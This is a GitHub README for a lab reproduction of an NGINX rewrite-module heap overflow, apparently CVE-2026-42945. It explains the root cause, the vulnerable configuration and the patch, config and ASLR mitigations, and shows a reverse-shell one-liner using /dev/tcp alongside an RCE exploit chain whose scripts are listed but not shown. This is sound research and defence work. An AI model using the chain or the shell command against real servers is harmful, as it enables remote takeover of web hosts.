niekaicheng/CVE-2026-42945_NGINX_Rift

GitHub: niekaicheng/CVE-2026-42945_NGINX_Rift

Stars: 0 | Forks: 0

# CVE-2026-42945 — NGINX Rift ## Overview CVE-2026-42945, dubbed **NGINX Rift**, is an 18-year-old latent **heap-based buffer overflow** (CWE-122) in NGINX's `ngx_http_rewrite_module`, present from NGINX 0.6.27 (2008) through 1.30.0. | Field | Value | |-------|-------| | CVE ID | CVE-2026-42945 | | Common Name | NGINX Rift | | Disclosed | 2026-05-13 | | Introduced | 2008 — NGINX 0.6.27 | | CVSS 4.0 | **9.2 Critical** | | CVSS 3.1 | **8.1 High** — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H | | CWE | CWE-122 Heap-based Buffer Overflow | | Affected | NGINX OSS 0.6.27 – 1.30.0; NGINX Plus R32 – R36 | | Fixed In | NGINX OSS 1.30.1 / 1.31.0; NGINX Plus R36 P1 / R37 | ## Configuration Audit Even on a vulnerable NGINX version, the overflow cannot trigger unless the config contains a specific directive combination. Use this one-liner to scan all nginx configs: grep -rn '\$[0-9]' /etc/nginx/ A location block is vulnerable only when **all three conditions** are present simultaneously: | Condition | Example | |-----------|---------| | ① Unnamed PCRE capture groups | `([0-9]+)` referenced as `$1` | | ② Literal `?` in the rewrite target path | `rewrite … /path?id=$1` | | ③ A subsequent directive in the same block | `set`, `if`, or a second `rewrite` | A standalone `rewrite … break;` is **not** vulnerable — the fast path adds an escape-size budget that prevents the mismatch. **Example of a vulnerable block:** location /users/ { rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last; set $tracking_id "visitor"; # ← this set in the same block is the trigger } ## Root Cause NGINX's `ngx_http_script_complex_value_code` evaluates directives in **two passes**: - **Pass 1 (length calc):** Uses a sub-engine `le` created with `ngx_memzero` → `le.is_args = 0`. Computes raw byte count with no escape factor, then calls `ngx_palloc()`. - **Pass 2 (write):** Uses the main engine `e` with `e.is_args = 1` (set by an earlier `rewrite … ?…` directive). Applies `NGX_ESCAPE_ARGS` escaping: each `[` expands from 1 byte → `%5B` (3 bytes). **Result:** the buffer allocated in Pass 1 is undersized by `2 × N` bytes for `N` args-unsafe characters, causing a heap overflow during Pass 2. The bug only triggers with this specific directive combination in one `location` block: location ~* ^/trigger/ { rewrite ^/trigger/(.*)$ /new/?data=$1; # sets is_args=1 on main engine set $foo $1; # routes through complex_value_code — OVERFLOW } A standalone `rewrite … break;` is **not** vulnerable (fast path adds an escape-size budget). ## Lab Environment +-----------------------------+ +------------------------------------+ | Kali Linux (Attacker) | | Ubuntu 22.04.5 LTS (Target) | | 192.168.56.101 | TCP:8080 | 192.168.56.104 | | exploit scripts | -------> | nginx 1.24.0 (vulnerable) | | nc listener :4444 | | ASLR = 0 | +-----------------------------+ +------------------------------------+ VirtualBox Host-Only Network — 192.168.56.0/24 | Role | OS | IP | Credentials | |------|----|----|-------------| | Attacker | Kali Linux 2024.x | 192.168.56.101 | kali / <password> | | Target | Ubuntu 22.04.5 LTS | 192.168.56.104 | lab / <password> | ## Repository Structure . ├── README.md ├── QUICKSTART.md # ← 从这里开始:9 步复现手册(含环境变量配置) ├── LAB_SETUP.md # Full lab environment setup (all 3 CVEs) ├── vuln.conf # Vulnerable nginx location block ├── setup_nginx_target.sh # Target bootstrap script │ ├── CVE-2026-42945_Lab_Report.md # Full technical lab report ├── CVE-2026-42945_Exploit_Mechanics.md # 深度分析:两次计算不一致/cleanup覆盖/system()植入/AC:H解析 ├── CVE-2026-42945_Plain_Explanation.md # Non-technical explanation (Chinese) ├── CVE-2026-42945_Reproduction_Guide.md # Detailed step-by-step reproduction guide │ ├── audit_nginx.sh # Config audit: version check + 3-condition scan + ASLR status ├── two_pass_overflow_demo.c # Standalone C model of the two-pass bug ├── two_pass_overflow_demo.py # Python model + Valgrind verification ├── gdb_find_addrs.py # GDB helper to locate live heap addresses │ ├── exploit.py # DoS / RCE PoC (heap grooming + overflow) ├── exploit_spray.py # No-root heap-spray RCE (pure HTTP, no ptrace) ★ ├── exploit_clean.py # Cleanup-chain RCE — 4-bug-fix rewrite, doubly verified ★ │ ├── legacy/ # Superseded scripts (kept for development history) │ ├── pwn_rift.py # → superseded by exploit_spray.py -c '...' │ ├── pwn_direct.py # → superseded by exploit_spray.py -c '...' │ ├── exploit_cleanup.py # → superseded by exploit_clean.py │ └── exploit_pr_n.py # → superseded by exploit_clean.py │ ├── nginx_1.24.0-jammy_amd64.deb # Vulnerable nginx binary ├── nginx_1.30.1-jammy_amd64.deb # Patched nginx binary (defense verification) ├── libc6-dbg_2.35-0ubuntu3.13_amd64.deb # glibc debug symbols ├── libc6-i386_2.35-0ubuntu3.13_amd64.deb # glibc i386 (dependency) └── rift_error.log # Sample nginx error log showing worker crash ## Exploitation Chain | Step | Script | Technique | Result | |------|--------|-----------|--------| | 1 | `two_pass_overflow_demo.py` | Valgrind heap model | Confirms `Invalid write of size 1` | | 2 | `gdb_find_addrs.py` | GDB live heap inspection | Locates pool layout, `system()` VA | | 3 | `exploit.py --dos` | Flood overflow requests | Worker SIGSEGV → DoS | | 4 | `exploit_spray.py` | No-root heap spray (pure HTTP) ★ | `system()` via cleanup chain, no ptrace | | 4b | `exploit_clean.py` | Cleanup chain via ptrace (4-bug-fix) ★ | `system()` via `ngx_destroy_pool`, worker alive — **doubly verified 2026-05-27** | | 5 | `exploit_spray.py -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'` | No-root reverse shell ★ | Interactive `nginx@ubuntu-target` shell | | — | `legacy/pwn_rift.py` | ptrace + reverse shell *(superseded)* | Replaced by `exploit_spray.py -c` | | — | `legacy/pwn_direct.py` | ptrace register hijack *(superseded)* | Replaced by `exploit_spray.py -c` | | — | `legacy/exploit_cleanup.py` | Cleanup chain via ptrace *(superseded)* | Replaced by `exploit_clean.py` | | — | `legacy/exploit_pr_n.py` | HTTP overflow write primitive *(superseded)* | Replaced by `exploit_clean.py` | ## Quick Start **→ 见 [`QUICKSTART.md`](QUICKSTART.md)**,包含从零开始的 9 步复现手册: | 步骤 | 内容 | |------|------| | 第 0 步 | 填写你的环境变量(攻击机 / 靶机 IP),后续命令一键复制 | | 第 1 步 | 靶机初始化(`setup_nginx_target.sh`) | | 第 2 步 | 确认 nginx 1.24.0 服务可达 | | 第 3 步 | debug 日志确认漏洞触发路径 | | 第 4 步 | Valgrind 验证堆溢出 | | 第 5 步 | ASAN 编译验证 worker crash | | 第 6 步 | RCE — 无 root 堆喷射(`exploit_spray.py`,纯 HTTP)★ | | 第 7 步 | RCE — 精简版清理链(`exploit_clean.py`)**★ 已二次验证,推荐** | | 第 8 步 | RCE — 反向 Shell(`exploit_spray.py -c 'bash -i >& /dev/tcp/...'`)★ | | legacy | 历史迭代脚本见 `legacy/`(`pwn_rift.py` / `pwn_direct.py` / `exploit_cleanup.py` / `exploit_pr_n.py`) | | 第 9 步 | 防御验证(升级 nginx 1.30.1) | 详细原理和每步预期输出见 [`CVE-2026-42945_Reproduction_Guide.md`](CVE-2026-42945_Reproduction_Guide.md)。 ## Defense ### 1. Patch (Recommended) Upgrade to NGINX OSS ≥ 1.30.1 or NGINX Plus ≥ R36 P1. Using the official NGINX repository: curl https://nginx.org/keys/nginx_signing.key | gpg --dearmor | \ sudo tee /usr/share/keyrings/nginx-archive-keyring.gpg >/dev/null echo "deb [signed-by=/usr/share/keyrings/nginx-archive-keyring.gpg] \ http://nginx.org/packages/ubuntu $(lsb_release -cs) nginx" | \ sudo tee /etc/apt/sources.list.d/nginx.list sudo apt-get update && sudo apt-get install -y nginx=1.30.1-1~$(lsb_release -cs) nginx -v # → nginx/1.30.1 sudo systemctl reload nginx ### 2. Emergency Config Mitigation (No Downtime Required) If you cannot upgrade immediately, replace **unnamed** capture groups (`$1`, `$2`) with **named** captures. The named-capture execution path does not have the two-pass mismatch: # BEFORE — vulnerable (unnamed captures) rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last; set $tracking_id "visitor"; # AFTER — safe (named captures) rewrite ^/users/(?[0-9]+)/profile/(?
.*)$ /profile.php?id=$uid&tab=$section last; set $tracking_id "visitor"; Test and reload: sudo nginx -t && sudo systemctl reload nginx ### 3. Verify ASLR is Enabled ASLR is the primary OS-level barrier against RCE. Check your system: cat /proc/sys/kernel/randomize_va_space | Value | Mode | Risk | |-------|------|------| | `0` | Disabled | **Critical — heap layout is predictable, RCE is achievable** | | `1` | Conservative | Moderate | | `2` | Full | Safe — standard heap exploits blocked | If your system returns `0` or `1`, enable full ASLR permanently: echo 'kernel.randomize_va_space=2' | sudo tee -a /etc/sysctl.conf sudo sysctl -p Note: `-pie` compilation flag (present in stock nginx) ensures ASLR also randomizes the nginx binary itself when ASLR ≥ 1. `-fstack-protector-strong` does **not** help — this is a heap overflow, not a stack overflow. ### 4. Log Monitoring — Detecting Exploitation Attempts Attackers probing for this vulnerability will crash worker processes. Monitor these indicators: # nginx error log — most direct indicator grep "worker process exited on signal 11" /var/log/nginx/error.log # kernel log — shows the segfault address dmesg | grep -i "segfault.*nginx" grep "segfault" /var/log/syslog | grep nginx Repeated `signal 11` entries with no matching application error are a reliable indicator of automated buffer overflow testing. ### 5. WAF Block requests with args-unsafe characters in capture groups: `%5B`, `%5D`, `%7B`, `%7D`, `%7C`. ## References - [F5 Security Advisory K000161019](https://my.f5.com/manage/s/article/K000161019) - NGINX Source — `ngx_http_script.c:1752` (`ngx_http_script_complex_value_code`) - NVD: CVE-2026-42945 ## Authors Security research project, 2026
标签:后端开发